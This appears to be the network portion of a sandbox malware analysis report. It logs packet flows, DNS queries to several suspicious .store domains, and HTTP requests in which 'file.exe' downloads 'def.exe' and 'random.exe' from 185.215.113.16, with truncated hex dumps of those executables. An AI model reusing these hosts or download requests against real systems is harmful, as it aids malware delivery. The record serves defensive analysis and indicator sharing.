Nov 1, 2024 10:57:20.086538076 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086546898 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086549997 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086560011 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086560965 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086582899 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086600065 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086766958 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086776018 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086786032 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086796999 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086798906 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086807966 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086826086 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086836100 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086857080 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086868048 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086875916 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086888075 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086895943 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086898088 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086905956 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086915970 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086916924 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086925030 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086937904 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.086945057 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086963892 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.086975098 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.087013960 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087133884 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087143898 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087155104 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087166071 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087177038 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087178946 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.087187052 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087197065 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087204933 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.087204933 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.087212086 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.087234974 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118669987 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118681908 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118691921 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118702888 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118712902 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118722916 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118733883 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118736982 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118740082 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118746996 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118760109 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118769884 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118803978 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118812084 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118823051 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118833065 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118845940 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118855000 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118856907 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118864059 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118881941 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118904114 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.118971109 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118980885 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118988991 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.118997097 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119007111 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119009972 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119020939 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119029999 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119029999 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119045019 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119051933 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119072914 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119079113 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119087934 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119097948 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119105101 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119124889 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119138956 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119168997 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119179010 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119189978 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119225025 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119251013 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119260073 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119268894 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119277954 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119288921 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119297981 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119301081 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119309902 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119330883 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119355917 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119365931 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119374990 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119385004 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119404078 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119414091 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119545937 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119560003 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119570017 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119580030 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119597912 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119611979 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119682074 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119817972 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119848967 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119911909 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119921923 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119930029 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119944096 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119949102 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119959116 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119962931 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119968891 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119982004 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.119983912 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119992971 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.119993925 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120003939 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120013952 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120016098 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120034933 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120052099 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120071888 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120089054 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120101929 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120112896 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120122910 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120146036 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120151997 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120201111 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120208979 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120223045 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120229959 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120232105 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120243073 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120243073 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120258093 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120268106 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120275021 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120287895 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120296955 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120306015 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120310068 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120316029 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120347023 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120358944 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120388985 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120398998 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120408058 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120418072 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120439053 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120460987 CET	49878	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:57:20.120524883 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120532990 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120537996 CET	80	49878	185.215.113.16	192.168.2.4
Nov 1, 2024 10:57:20.120547056 CET	80	49878	185.215.113.16	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 1, 2024 10:55:54.939884901 CET	192.168.2.4	1.1.1.1	0xdca3	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.951112032 CET	192.168.2.4	1.1.1.1	0xd2ff	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.961782932 CET	192.168.2.4	1.1.1.1	0xfcf2	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.972081900 CET	192.168.2.4	1.1.1.1	0x3d04	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.982388020 CET	192.168.2.4	1.1.1.1	0x21f0	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.947429895 CET	192.168.2.4	1.1.1.1	0x5fa	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.960149050 CET	192.168.2.4	1.1.1.1	0x7616	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.976834059 CET	192.168.2.4	1.1.1.1	0x8f44	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.989484072 CET	192.168.2.4	1.1.1.1	0x9449	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:34.971277952 CET	192.168.2.4	1.1.1.1	0xafda	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:34.989474058 CET	192.168.2.4	1.1.1.1	0x8bca	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:35.002779961 CET	192.168.2.4	1.1.1.1	0xa171	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:35.016801119 CET	192.168.2.4	1.1.1.1	0x9699	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.514801979 CET	192.168.2.4	1.1.1.1	0x216c	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.529985905 CET	192.168.2.4	1.1.1.1	0xe3ff	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.553622961 CET	192.168.2.4	1.1.1.1	0x923f	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.661391973 CET	192.168.2.4	1.1.1.1	0x4fb8	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 1, 2024 10:55:54.948461056 CET	1.1.1.1	192.168.2.4	0xdca3	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.960397959 CET	1.1.1.1	192.168.2.4	0xd2ff	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.970894098 CET	1.1.1.1	192.168.2.4	0xfcf2	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.980981112 CET	1.1.1.1	192.168.2.4	0x3d04	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.994919062 CET	1.1.1.1	192.168.2.4	0x21f0	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:55:54.994919062 CET	1.1.1.1	192.168.2.4	0x21f0	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.956192017 CET	1.1.1.1	192.168.2.4	0x5fa	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.969445944 CET	1.1.1.1	192.168.2.4	0x7616	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.986193895 CET	1.1.1.1	192.168.2.4	0x8f44	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:23.998400927 CET	1.1.1.1	192.168.2.4	0x9449	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:34.979784966 CET	1.1.1.1	192.168.2.4	0xafda	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:34.999180079 CET	1.1.1.1	192.168.2.4	0x8bca	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:35.012243032 CET	1.1.1.1	192.168.2.4	0xa171	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:57:35.025686979 CET	1.1.1.1	192.168.2.4	0x9699	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.523590088 CET	1.1.1.1	192.168.2.4	0x216c	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.539324045 CET	1.1.1.1	192.168.2.4	0xe3ff	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.570645094 CET	1.1.1.1	192.168.2.4	0x923f	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Nov 1, 2024 10:58:13.672868013 CET	1.1.1.1	192.168.2.4	0x4fb8	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	185.215.113.16	80	6800	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 10:56:08.921540976 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:56:09.811486959 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:56:09 GMT Content-Type: application/octet-stream Content-Length: 2712064 Last-Modified: Fri, 01 Nov 2024 09:00:50 GMT Connection: keep-alive ETag: "672498c2-296200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 29 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2a 00 00 04 00 00 c2 10 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$) `@ **`Ui` @ @.rsrc`2@.idata 8@mvtnwoxp )):@zodzljtk )<)@.taggant@)"@)@
Nov 1, 2024 10:56:09.811515093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:56:09.811527014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:56:09.811568022 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:56:09.811582088 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:56:09.811691046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:56:09.811703920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 1, 2024 10:56:09.811711073 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: U
Nov 1, 2024 10:56:09.811721087 CET	1236	IN	Data Raw: 88 ba 8b ec 0c 56 7d 57 00 fd ca 0e fb 21 8b 7e cf d2 ae d9 07 c3 9d 4f d9 9f f3 13 58 d2 a5 2c df c3 87 b0 d9 9d 63 e6 c6 71 f1 58 9f 9f 89 0f 05 0c 4b 16 c7 86 00 25 8e 26 8e cb c7 f2 f5 be 1b c4 75 c8 44 ac d9 d1 1d d2 6f 57 e8 d2 75 ed c6 6d Data Ascii: V}W!~OX,cqXK%&uDoWum0K2Ax4\|1s22j'QWXZRFAJMpdr\|/sv\|\oF+V\|
Nov 1, 2024 10:56:09.811728001 CET	848	IN	Data Raw: d0 aa 6e b3 a7 58 6f e6 b9 bf 65 39 de 10 6d b2 af 81 a6 80 99 be 41 b6 a2 b2 d2 d6 c6 90 6a a8 ac 7b 7c aa a3 9e 5e 17 2b ad c2 99 f2 8f eb b6 56 b6 30 f0 a9 83 f6 98 9b 53 44 b2 b9 59 4d ad a3 a9 62 56 ce 91 db e7 0f bf 83 b3 af ba f0 b6 bc d6 Data Ascii: nXoe9mAj{\|^+V0SDYMbV]aa3A&ntchPMEe`yUkOlcKQm#T?]#ZP}AMGW;AU@\"rT/pxI~jUpXT}U>Uf<?kum
Nov 1, 2024 10:56:09.816427946 CET	1236	IN	Data Raw: c2 85 33 8e a7 c4 0c 65 b9 ca dd ee fd 1a 71 c4 83 a2 5f 01 5d b1 10 f2 db 4c 19 97 c4 ad 0d 8e dd bc b0 ad ad be 74 91 eb 96 10 82 46 0e 9a 6f 45 9d 09 e1 f8 f7 f7 a6 a6 c9 01 bd 48 b3 f0 b1 e9 3d 8c ae af aa 54 e9 f4 fd ad b7 0b d6 81 5d c3 84 Data Ascii: 3eq_]LtFoEH=T]Njl#zeFH]'qa\St)xEr`RMjDdM]LiR5IB \|B\_kuNLTx}q]NS]7QJ{L8_*UA
Nov 1, 2024 10:56:12.858457088 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 1, 2024 10:56:13.132783890 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 01 Nov 2024 09:56:12 GMT Content-Type: application/octet-stream Content-Length: 1852416 Last-Modified: Fri, 01 Nov 2024 09:52:29 GMT Connection: keep-alive ETag: "6724a4dd-1c4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 a0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@I4 @WkD<II @.rsrcD@.idata @ )@oibhsmco0`0&@rrchhzpyI@.taggant0I""@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
